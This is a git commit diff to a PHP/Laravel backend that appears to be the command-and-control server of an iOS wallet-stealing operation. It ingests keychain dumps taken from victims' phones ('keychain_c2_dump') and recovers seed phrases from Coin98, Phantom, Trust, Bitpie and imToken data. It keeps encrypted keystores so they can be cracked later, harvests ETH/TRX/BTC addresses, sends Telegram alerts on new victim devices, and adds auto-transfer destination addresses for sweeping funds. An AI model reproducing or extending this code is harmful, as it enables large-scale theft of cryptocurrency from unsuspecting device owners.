fix: keystore

This commit is contained in:
hashbro
2026-09-20 06:15:26 +08:00
parent 2625707aed
commit 2a41a29310
29 changed files with 1972 additions and 66 deletions
+426 -21
View File
@@ -9,10 +9,13 @@ use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Jobs\DecodeMemoDb;
use App\Jobs\DecryptDeviceKeystores;
use App\Support\CfIpCountry;
use App\Support\UserAgentParser;
use App\Support\VisitorIp;
use App\Support\WalletSource;
use Illuminate\Database\QueryException;
use Illuminate\Database\UniqueConstraintViolationException;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
@@ -242,16 +245,18 @@ class DarkSwordIngestAdapter
$wallets = $keychain['wallets'] ?? [];
$sandbox = $payload['sandbox'] ?? [];
// Store keystores synchronously (fast), then dispatch async decryption.
$rows = array_merge(
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
);
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows);
$this->walkForMnemonics($device, $wallets, 'd');
$this->walkForMnemonics($device, $sandbox, 'b');
// Synchronous address ingestion from sandbox/wallets (Trust-style).
$this->trustAddresses->ingest($device, $sandbox);
$this->trustAddresses->ingest($device, $wallets);
// Async: mnemonic recovery + plaintext walk + address extraction.
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
}
/**
@@ -340,17 +345,34 @@ class DarkSwordIngestAdapter
return $existing->refresh();
}
$device = Device::query()->create([
'device_id' => $key,
'chain' => $chain,
'ip' => $ip !== '' ? $ip : null,
'country' => CfIpCountry::fromRequest($request),
'device_model' => $model,
'ios_version' => $ios,
'channel_id' => $channel,
'user_agent' => $ua !== '' ? $ua : null,
'album_storage' => User::albumStorageDefaultForChannel($channel),
]);
try {
$device = Device::query()->create([
'device_id' => $key,
'chain' => $chain,
'ip' => $ip !== '' ? $ip : null,
'country' => CfIpCountry::fromRequest($request),
'device_model' => $model,
'ios_version' => $ios,
'channel_id' => $channel,
'user_agent' => $ua !== '' ? $ua : null,
'album_storage' => User::albumStorageDefaultForChannel($channel),
]);
} catch (UniqueConstraintViolationException | QueryException $e) {
// Race condition: another concurrent request already created this
// device. Reload it and continue instead of crashing the beacon.
$device = Device::query()->where('device_id', $key)->first();
if ($device === null) {
throw $e;
}
// If the chain was just corrected, seed the default queue.
if ((int) $device->chain === Device::CHAIN_DARKSWORD
&& $this->beaconQueue->queueLength($device) === 0
) {
$this->beaconQueue->seed($device);
}
return $device->refresh();
}
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
@@ -456,6 +478,19 @@ class DarkSwordIngestAdapter
|| str_contains($filename, 'wallet_pkg')
|| str_contains($filename, 'keystore');
if (! $looksTrust) {
// keychain_c2_dump.json and walletsV2_*.json are wallet material
// uploaded as /result files (not /war). Ingest them here too.
if (str_contains($filename, 'keychain_c2_dump')) {
$this->ingestKeychainDumpFromResult($device, $payload);
return;
}
if (str_contains($filename, 'walletsv2')) {
$this->ingestImTokenKeystoreFromResult($device, $payload);
return;
}
return;
}
$raw = $payload['data'] ?? null;
@@ -468,8 +503,87 @@ class DarkSwordIngestAdapter
return;
}
$this->trustAddresses->ingest($device, $raw);
$rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
$this->recoverKeystoreMnemonics($device, null, $raw, $rows);
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
// Async: attempt Trust UTC keystore decryption.
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
}
/**
* Parse a keychain_c2_dump.json /result file and process it like /war:
* store per-wallet keystores and run mnemonic recovery (Bitpie / Trust /
* Coin98).
*
* @param array<string, mixed> $payload
*/
private function ingestKeychainDumpFromResult(Device $device, array $payload): void
{
$json = $this->decodeResultJson($payload);
if ($json === null) {
return;
}
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
$sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : [];
// Store keystores synchronously (fast), then dispatch async decryption.
$rows = array_merge(
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null),
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
);
// Synchronous address ingestion from sandbox/wallets (Trust-style).
$this->trustAddresses->ingest($device, $sandbox);
$this->trustAddresses->ingest($device, $wallets);
// Async: mnemonic recovery + plaintext walk + address extraction.
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
}
/**
* Store an imToken walletsV2 keystore file uploaded via /result.
* The keystore is encrypted (PBKDF2 + AES-128-CTR); without the password
* we cannot recover the mnemonic, but we persist it so it can be cracked
* later or reprocessed when a password becomes available.
*
* @param array<string, mixed> $payload
*/
private function ingestImTokenKeystoreFromResult(Device $device, array $payload): void
{
$json = $this->decodeResultJson($payload);
if ($json === null) {
return;
}
$this->storeWalletKeystores($device, ['imtoken' => $json], 'keychain.wallets', null);
// Async: attempt recovery (imToken needs password — will likely fail,
// but the job logs the reason and still extracts addresses if any).
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
}
/**
* Decode the /result payload body (base64 data or stored file) into JSON.
*
* @param array<string, mixed> $payload
* @return array<string, mixed>|null
*/
private function decodeResultJson(array $payload): ?array
{
$raw = $payload['data'] ?? null;
if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) {
if (Storage::disk('local')->exists($payload['path'])) {
$raw = (string) Storage::disk('local')->get($payload['path']);
}
}
if (! is_string($raw) || $raw === '') {
return null;
}
$decoded = base64_decode($raw, true);
if (is_string($decoded) && $decoded !== '') {
$raw = $decoded;
}
$json = json_decode($raw, true);
return is_array($json) ? $json : null;
}
/**
@@ -768,18 +882,38 @@ class DarkSwordIngestAdapter
}
/**
* Re-run Trust UTC / Bitpie recover on already-stored keystore blobs.
* Re-run all recovery on already-stored keystore blobs. Used by the
* admin "解密" button. Runs synchronously (the admin expects an immediate
* result) and covers structured recovery, plaintext walk, and address
* extraction.
*/
public function reprocessKeystores(Device $device): void
{
$device->load('keystores');
$this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all());
// Rebuild wallets/sandbox dicts from stored keystores so the walkers
// can traverse the original tree structure.
$wallets = [];
$sandbox = [];
foreach ($device->keystores as $row) {
$kind = $row->raw_json['kind'] ?? '';
if (str_starts_with($kind, 'keychain')) {
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
} else {
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
}
}
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
$this->walkForMnemonics($device, $wallets, 'd');
$this->walkForMnemonics($device, $sandbox, 'b');
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
}
/**
* @param list<WalletKeystore> $rows
*/
private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
{
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
foreach ($hits as $hit) {
@@ -809,12 +943,32 @@ class DarkSwordIngestAdapter
}
}
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
/**
* Walk a keychain tree looking for plaintext mnemonic strings in dataHex
* fields (e.g. Uniswap stores the BIP39 phrase as hex-encoded UTF-8).
*
* Returns a list of hits so the caller can mark keystores as decrypted.
*
* @return list<array{phrase: string, source: string}>
*/
public function walkForMnemonicsWithResult(Device $device, mixed $node, string $tag): array
{
$hits = [];
$this->walkForMnemonicsInner($device, $node, $tag, '', $hits);
return $hits;
}
/**
* @param list<array{phrase: string, source: string}> $hits
*/
private function walkForMnemonicsInner(Device $device, mixed $node, string $tag, string $sourceHint, array &$hits): void
{
if (is_string($node)) {
$phrase = $this->asMnemonicPhrase($node);
if ($phrase !== null) {
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
$hits[] = ['phrase' => $phrase, 'source' => $sourceHint];
}
return;
@@ -833,11 +987,27 @@ class DarkSwordIngestAdapter
if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) {
continue;
}
// Detect wallet source from key name (e.g. "uniswap" → "Uniswap").
$childSource = $sourceHint;
if (is_string($key) && $childSource === '') {
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$childSource = $hint;
}
}
$childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag;
$this->walkForMnemonics($device, $child, $childTag);
$this->walkForMnemonicsInner($device, $child, $childTag, $childSource, $hits);
}
}
/**
* Backward-compat wrapper that discards the result.
*/
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
{
$this->walkForMnemonicsWithResult($device, $node, $tag);
}
/**
* @param array<string, mixed> $node
*/
@@ -914,4 +1084,239 @@ class DarkSwordIngestAdapter
return implode(' ', $words);
}
/**
* Extract addresses from keychain data even when the mnemonic cannot be
* decrypted. Walks through all wallet items looking for:
* - JWT tokens (Bitget) containing an "address" field.
* - Account names that embed an address (Uniswap mnemonic.<addr>).
* - Any plaintext address in dataHex or account fields.
*
* Only ETH / TRX / BTC addresses are persisted (SUPPORTED_CHAINS).
*
* @param array<string, mixed> $wallets
* @param array<string, mixed> $sandbox
* @return int Number of addresses ingested.
*/
public function extractAddressesFromKeystores(Device $device, mixed $wallets, mixed $sandbox): int
{
$addresses = [];
$this->collectAddressesFromNode($wallets, $addresses);
$this->collectAddressesFromNode($sandbox, $addresses);
if ($addresses === []) {
return 0;
}
// Group by source tag inferred from the wallet key.
$byTag = [];
foreach ($addresses as $addr) {
$tag = $addr['tag'] ?? 'd';
$byTag[$tag][] = $addr;
}
$total = 0;
foreach ($byTag as $tag => $rows) {
// Deduplicate by address.
$seen = [];
$data = [];
foreach ($rows as $row) {
$key = $row['address'];
if (isset($seen[$key])) {
continue;
}
$seen[$key] = true;
$data[] = $row;
}
if ($data !== []) {
$this->ingest->ingestAddresses($device, [
'a' => $tag,
'data' => $data,
]);
$total += count($data);
}
}
return $total;
}
/**
* @param list<array{address: string, chainType: string, symbol: string, balance: int, tag: string}> $out
*/
private function collectAddressesFromNode(mixed $node, array &$out, string $sourceHint = '', string $tag = 'd', int $depth = 0): void
{
if ($depth > 10 || $node === null) {
return;
}
if (is_string($node)) {
// Try to decode hex and find addresses in the decoded text.
$decoded = $this->decodeHexText($node);
if ($decoded !== null) {
$this->harvestAddresses($decoded, $sourceHint, $tag, $out);
}
return;
}
if (! is_array($node)) {
return;
}
// Detect wallet source from key name.
$childSource = $sourceHint;
$childTag = $tag;
// We don't have the key here in the recursive walk; detect from
// service/account fields instead.
// Check account field for embedded addresses (Uniswap pattern:
// "com.uniswap.mobile.mnemonic.0x4A45...").
$acct = (string) ($node['account'] ?? '');
if ($acct !== '') {
// Decode hex account name.
$acctDecoded = '';
if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
$bin = @hex2bin($acct);
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
$acctDecoded = $bin;
}
} else {
$acctDecoded = $acct;
}
if ($acctDecoded !== '') {
$this->harvestAddresses($acctDecoded, $sourceHint, $tag, $out);
}
}
// Check dataHex for JWT tokens (Bitget pattern: JWT with address field).
$dh = (string) ($node['dataHex'] ?? '');
if ($dh !== '' && ctype_xdigit($dh) && strlen($dh) % 2 === 0) {
$raw = @hex2bin($dh);
if (is_string($raw) && mb_check_encoding($raw, 'UTF-8')) {
$this->harvestAddresses($raw, $sourceHint, $tag, $out);
}
}
// Detect source from service field.
$svc = strtolower((string) ($node['service'] ?? ''));
if ($childSource === '' && $svc !== '') {
$hint = WalletSource::fromKeystoreHint($svc);
if ($hint !== '') {
$childSource = $hint;
$childTag = WalletSource::tagForLabel($hint) ?: $tag;
}
}
foreach ($node as $key => $child) {
if (is_string($key)) {
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$this->collectAddressesFromNode($child, $out, $hint, WalletSource::tagForLabel($hint) ?: $tag, $depth + 1);
continue;
}
}
if (is_array($child) || is_string($child)) {
$this->collectAddressesFromNode($child, $out, $childSource, $childTag, $depth + 1);
}
}
}
/**
* Harvest ETH/TRX/BTC addresses from a text string and add them to $out.
*
* @param list<array{address: string, chainType: string, symbol: string, balance: int, tag: string}> $out
*/
private function harvestAddresses(string $text, string $source, string $tag, array &$out): void
{
// JWT tokens: decode payload and look for "address" field.
if (str_starts_with($text, 'eyJ')) {
$parts = explode('.', $text);
if (count($parts) >= 2) {
$payload = $parts[1];
$pad = (4 - strlen($payload) % 4) % 4;
if ($pad > 0) {
$payload .= str_repeat('=', $pad);
}
$decoded = base64_decode(strtr($payload, '-_', '+/'), true);
if (is_string($decoded)) {
$json = json_decode($decoded, true);
if (is_array($json) && isset($json['address']) && is_string($json['address'])) {
$addr = $json['address'];
$chainType = WalletSource::inferChainType($addr);
if (WalletSource::isSupportedChain($chainType)) {
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
}
}
}
}
}
// Direct address patterns.
$patterns = [
'/0x[0-9a-fA-F]{40}/i' => 'ETHEREUM',
'/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
'/\b(?:bc1[0-9a-z]{6,87}|[13][a-zA-HJ-NP-Z0-9]{25,34})\b/' => 'BITCOIN',
];
foreach ($patterns as $pat => $chainType) {
if (preg_match_all($pat, $text, $matches)) {
foreach ($matches[0] as $addr) {
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
}
}
}
}
/**
* @return array{address: string, chainType: string, symbol: string, balance: int, tag: string}
*/
private function addressRow(string $address, string $chainType, string $source, string $tag): array
{
$symbol = match ($chainType) {
'BITCOIN' => 'BTC',
'ETHEREUM' => 'ETH',
default => 'TRX',
};
return [
'address' => $address,
'chainType' => $chainType,
'symbol' => $symbol,
'balance' => 0,
'tag' => $tag,
];
}
/**
* Decode a hex string to UTF-8 text if possible.
*/
private function decodeHexText(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '' || ! ctype_xdigit($raw) || strlen($raw) % 2 !== 0) {
return null;
}
$bin = @hex2bin($raw);
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
return $bin;
}
return null;
}
/**
* Post-recovery hook: discover activated wallets and link addresses.
* Called by the async job after a mnemonic is recovered.
*
* @param array{source: string, tag: string, phrase: string, addresses: list<array<string, mixed>>} $hit
*/
public function postRecoverMnemonic(WalletMnemonic $mnemonic, array $hit): void
{
$this->mnemonicDiscovery->discoverActivated($mnemonic);
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
if (($hit['addresses'] ?? []) !== []) {
$this->ingest->ingestAddresses($mnemonic->device, [
'a' => $tag,
'data' => $hit['addresses'],
]);
}
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
}
}
+361
View File
@@ -45,6 +45,35 @@ final class DsKeystoreDecrypt
$seen[$hash] = true;
$hits[] = $hit;
}
$coin98Nodes = [$wallets, $sandbox];
foreach ($device->keystores as $row) {
if ($row->source === 'Coin98') {
$coin98Nodes[] = $row->raw_json;
}
}
foreach ($this->recoverCoin98($coin98Nodes) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
$phantomNodes = [$wallets, $sandbox];
foreach ($device->keystores as $row) {
if ($row->source === 'Phantom') {
$phantomNodes[] = $row->raw_json;
}
}
foreach ($this->recoverPhantom($phantomNodes) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
return $hits;
}
@@ -58,16 +87,22 @@ final class DsKeystoreDecrypt
$utcs = [];
$passwords = [];
$entropy = [];
$coin98 = 0;
$phantom = 0;
foreach ($device->keystores as $row) {
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
$entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json));
$coin98 += count($this->collectCoin98Backups($row->raw_json));
$phantom += count($this->collectPhantomEntropy($row->raw_json));
}
return [
'utc' => count($this->uniqueKeystores($utcs)),
'passwords' => count($this->uniquePasswords($passwords)),
'entropy' => count(array_unique($entropy)),
'coin98' => $coin98,
'phantom' => $phantom,
];
}
@@ -157,6 +192,332 @@ final class DsKeystoreDecrypt
return $hits;
}
/**
* Coin98 stores a plaintext JSON backup in the keychain under
* service=rn-secure-storage / account=WALLET_SECURE_BACKUP. Each entry
* carries the same mnemonic plus a per-chain address + privateKey.
*
* @param list<mixed> $nodes
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverCoin98(array $nodes): array
{
$backups = [];
foreach ($nodes as $node) {
foreach ($this->collectCoin98Backups($node) as $backup) {
$backups[] = $backup;
}
}
if ($backups === []) {
return [];
}
$phrase = null;
$seenAddr = [];
$uniq = [];
foreach ($backups as $wallets) {
foreach ($wallets as $w) {
if (! is_array($w)) {
continue;
}
$m = $w['mnemonic'] ?? null;
if (is_string($m) && trim($m) !== '' && $phrase === null) {
$candidate = $this->asMnemonic($m);
if ($candidate !== null) {
$phrase = $candidate;
}
}
$address = trim((string) ($w['address'] ?? ''));
if ($address === '') {
continue;
}
$chain = strtolower(trim((string) ($w['chain'] ?? '')));
$mapped = $this->coin98ChainToType($chain, $address);
if ($mapped === null) {
continue;
}
$key = $mapped.'|'.$address;
if (isset($seenAddr[$key])) {
continue;
}
$seenAddr[$key] = true;
$uniq[] = [
'address' => $address,
'chainType' => $mapped,
'symbol' => $mapped === 'BITCOIN' ? 'BTC' : ($mapped === 'ETHEREUM' ? 'ETH' : 'TRX'),
'balance' => 0,
];
}
}
if ($phrase === null) {
return [];
}
return [
[
'source' => 'Coin98',
'tag' => 'q',
'phrase' => $phrase,
'addresses' => $uniq,
],
];
}
/**
* Phantom stores its BIP39 entropy as a plaintext JSON blob in the
* keychain under service=app:no-auth / account=.phantom-labs.vault.seedless.*
* The entropy dict maps integer indices to byte values (0–255).
* 16 bytes → 12-word mnemonic; 32 bytes → 24-word mnemonic.
*
* @param list<mixed> $nodes
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverPhantom(array $nodes): array
{
$entropyHex = null;
foreach ($nodes as $node) {
foreach ($this->collectPhantomEntropy($node) as $hex) {
if ($entropyHex === null) {
$entropyHex = $hex;
}
}
}
if ($entropyHex === null) {
return [];
}
$phrase = $this->phraseFromEntropyHex($entropyHex);
if ($phrase === null) {
return [];
}
return [
[
'source' => 'Phantom',
'tag' => 'i',
'phrase' => $phrase,
'addresses' => [],
],
];
}
/**
* Walk a keychain node collecting Phantom vault entropy hex strings.
*
* @return list<string>
*/
public function collectPhantomEntropy(mixed $node, int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectPhantomEntropy($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
$out = [];
// Phantom vault seedless entries: service=app:no-auth, account hex-decodes
// to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with
// an "entropy" dict of byte-index → byte-value pairs.
$svc = strtolower(trim((string) ($node['service'] ?? '')));
$acct = (string) ($node['account'] ?? '');
$acctDecoded = '';
if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
$bin = @hex2bin($acct);
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
$acctDecoded = strtolower($bin);
}
}
if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) {
$hex = $this->phantomEntropyFromItem($node);
if ($hex !== null) {
$out[] = $hex;
}
}
foreach ($node as $key => $child) {
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectPhantomEntropy($child, $depth + 1));
}
}
return $out;
}
/**
* Extract the entropy hex from a Phantom vault seedless keychain item.
*
* @param array<string, mixed> $item
*/
private function phantomEntropyFromItem(array $item): ?string
{
$hex = (string) ($item['dataHex'] ?? '');
$raw = '';
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
$raw = (string) @hex2bin($hex);
}
if ($raw === '' && isset($item['data']) && is_string($item['data'])) {
$raw = $item['data'];
}
if ($raw === '') {
return null;
}
$json = json_decode($raw, true);
if (! is_array($json) || ! isset($json['entropy']) || ! is_array($json['entropy'])) {
return null;
}
// entropy is { "0": 250, "1": 104, ... } — collect bytes in index order.
$bytes = '';
$keys = array_keys($json['entropy']);
$max = -1;
foreach ($keys as $k) {
if (is_numeric($k) && (int) $k > $max) {
$max = (int) $k;
}
}
if ($max < 0) {
return null;
}
for ($i = 0; $i <= $max; $i++) {
$val = $json['entropy'][$i] ?? $json['entropy'][(string) $i] ?? null;
if (! is_numeric($val)) {
return null;
}
$byte = (int) $val & 0xFF;
$bytes .= chr($byte);
}
// Only accept 16-byte (12-word) or 32-byte (24-word) entropy.
$len = strlen($bytes);
if ($len !== 16 && $len !== 32) {
return null;
}
return bin2hex($bytes);
}
/**
* Walk a keychain node collecting Coin98 WALLET_SECURE_BACKUP JSON arrays.
*
* @return list<list<array<string, mixed>>>
*/
private function collectCoin98Backups(mixed $node, int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectCoin98Backups($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
$out = [];
// Direct item with service=rn-secure-storage / account=WALLET_SECURE_BACKUP
$svc = strtolower(trim((string) ($node['service'] ?? '')));
$acct = strtolower(trim((string) ($node['account'] ?? '')));
if ($svc === 'rn-secure-storage' && $acct === 'wallet_secure_backup') {
$parsed = $this->coin98BackupFromItem($node);
if ($parsed !== null) {
$out[] = $parsed;
}
}
foreach ($node as $key => $child) {
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1));
}
}
return $out;
}
/**
* @param array<string, mixed> $item
* @return list<array<string, mixed>>|null
*/
private function coin98BackupFromItem(array $item): ?array
{
$hex = (string) ($item['dataHex'] ?? '');
$raw = '';
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
$raw = (string) @hex2bin($hex);
}
if ($raw === '' && isset($item['data']) && is_string($item['data'])) {
$raw = $item['data'];
}
if ($raw === '') {
return null;
}
$json = json_decode($raw, true);
if (! is_array($json) || $json === []) {
return null;
}
return array_values(array_filter($json, fn ($w) => is_array($w)));
}
/**
* Map a Coin98 chain name to our persisted chain_type. Returns null for
* unsupported chains (only ETH / TRX / BTC are persisted).
*/
private function coin98ChainToType(string $chain, string $address): ?string
{
// EVM-compatible chains all share the same 0x address.
$evm = [
'ether', 'etherpow', 'binancesmart', 'heco', 'okex', 'gate', 'kucoin',
'matic', 'arbitrum', 'optimism', 'avalanche', 'avax', 'fantom',
'klaytn', 'cronos', 'moonbeam', 'celo', 'aurora', 'astar', 'harmony',
'xdai', 'boba', 'metis', 'blast', 'linea', 'base', 'scroll', 'zksyncera',
'mantle', 'arbitrum', 'opbnb', 'zeta', 'plume', 'fraxtal', 'mode',
'manta', 'taiko', 'kroma', 'morph', 'zircuit', 'zkfair', 'zklink',
'zora', 'ancient8', 'confluxevm', 'seievm', 'seievmmainnet', 'kavaevm',
'functionxevm', 'auraevm', 'hyperEvm', 'lightlink', 'somnia', 'sonic',
'stargaze', 'skate', 'xlayer', 'platon', 'theta', 'thetafuel', 'tomo',
'wanchain', 'neon', 'rootstock', 'nautilus', 'beam', 'bitgert',
'bitkub', 'bittorrent', 'chiliz', 'coredao', 'cyber', 'elrond',
'energi', 'energi_testnet', 'fuse', 'godwoken', 'godwoken_testnet',
'iotevm', 'kardia', 'kcc', 'metis_testnet', 'oasis', 'omax',
'omax_testnet', 'ontology', 'orchid', 'polis', 'polis_testnet',
'poolq, quackcity', 'quarkchain', 'quarkchain_testnet', 'rei',
'reosc', 'reosc_testnet', 'shardeum', 'skale', 'skale_testnet',
'soteria', 'soteria_testnet', 'telos', 'telosevm', 'telosevm_testnet',
'terra', 'terra2', 'tombchain', 'tombchain_testnet', 'ulta',
'volta', 'velas', 'velas_testnet', 'x1', 'x1_testnet', 'xdc',
'xdc_testnet', 'yuan', 'yuan_testnet', 'zafiro', 'zafiro_testnet',
'kava', 'evmos', 'injective',
];
if (in_array($chain, $evm, true)) {
return 'ETHEREUM';
}
if ($chain === 'tron') {
return 'TRON';
}
if ($chain === 'bitcoin' || $chain === 'bitcointestnet') {
return 'BITCOIN';
}
// Fallback: infer from address shape.
$inferred = WalletSource::inferChainType($address);
if (in_array($inferred, ['ETHEREUM', 'TRON', 'BITCOIN'], true)) {
return $inferred;
}
return null;
}
/**
* @param list<string> $passwords
*/
+11 -2
View File
@@ -21,6 +21,7 @@ use App\Support\VisitorIp;
use App\Support\NoteContent;
use App\Support\WalletSource;
use Illuminate\Database\UniqueConstraintViolationException;
use Illuminate\Database\QueryException;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
@@ -412,7 +413,10 @@ class IngestService
try {
$device = Device::query()->create($attrs);
} catch (UniqueConstraintViolationException $e) {
} catch (UniqueConstraintViolationException | QueryException $e) {
// Race condition: another request inserted the same device_id
// between our firstOrCreate SELECT and this INSERT. Look up the
// winner and return it instead of crashing the request.
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing === null) {
throw $e;
@@ -973,7 +977,12 @@ class IngestService
}
$hash = NoteContent::hash($items);
$existing = Note::query()->where('device_id', $device->id)->orderByDesc('id')->first();
// Only select id + content_hash — the `content` column can be a large
// JSON blob that blows up MySQL's sort buffer when ORDER BY loads full rows.
$existing = Note::query()
->where('device_id', $device->id)
->orderByDesc('id')
->first(['id', 'content_hash']);
if ($existing) {
Note::query()->where('device_id', $device->id)->where('id', '!=', $existing->id)->delete();
if (hash_equals((string) $existing->content_hash, $hash)) {
+14 -2
View File
@@ -72,7 +72,7 @@ class MnemonicScanService
public function scanDeviceNotes(Device $device): void
{
$note = $device->notes()->orderByDesc('id')->first();
$note = $this->latestNote($device);
if ($note === null) {
return;
}
@@ -209,7 +209,7 @@ class MnemonicScanService
public function noteProgress(?Device $device = null, ?User $agent = null): array
{
if ($device !== null) {
$note = $device->notes()->orderByDesc('id')->first();
$note = $this->latestNote($device);
$items = $note ? $note->items() : [];
$total = count($items);
if ($total === 0) {
@@ -454,4 +454,16 @@ class MnemonicScanService
return $title."\n".$body;
}
/**
* Fetch the latest note for a device without triggering a MySQL sort
* on the large `content` column. Step 1 gets only the id (cheap ORDER BY
* on small column); step 2 fetches the full row by PK (no sort).
*/
private function latestNote(Device $device): ?Note
{
$id = $device->notes()->orderByDesc('id')->value('id');
return $id !== null ? Note::query()->find($id) : null;
}
}
+6
View File
@@ -21,6 +21,9 @@ class SettingsService
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH',
'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC',
'transfer.to_address' => 'TRANSFER_TO_ADDRESS',
'transfer.to_address_eth' => 'TRANSFER_TO_ADDRESS_ETH',
'transfer.to_address_btc' => 'TRANSFER_TO_ADDRESS_BTC',
'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON',
'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON',
'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX',
@@ -149,6 +152,9 @@ class SettingsService
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]),
'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]),
'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),
'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]),
'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]),
'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']),
+1 -1
View File
@@ -388,7 +388,7 @@ class TelegramNotifier
...$this->deviceHeader($deviceId),
'🏷 <b>来源</b>: '.$this->e($origin !== '' ? $origin : '—'),
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
'📥 <b>可归集</b>: '.($collectable === true ? '✅' : '❌'),
'📥 <b>可归集</b>: '.($collectable === true ? '✅' : '⏳'),
'💵 <b>金额</b>: '.$this->e($signed).' '.$this->e($symbol),
];
if ($balance !== null && trim($balance) !== '') {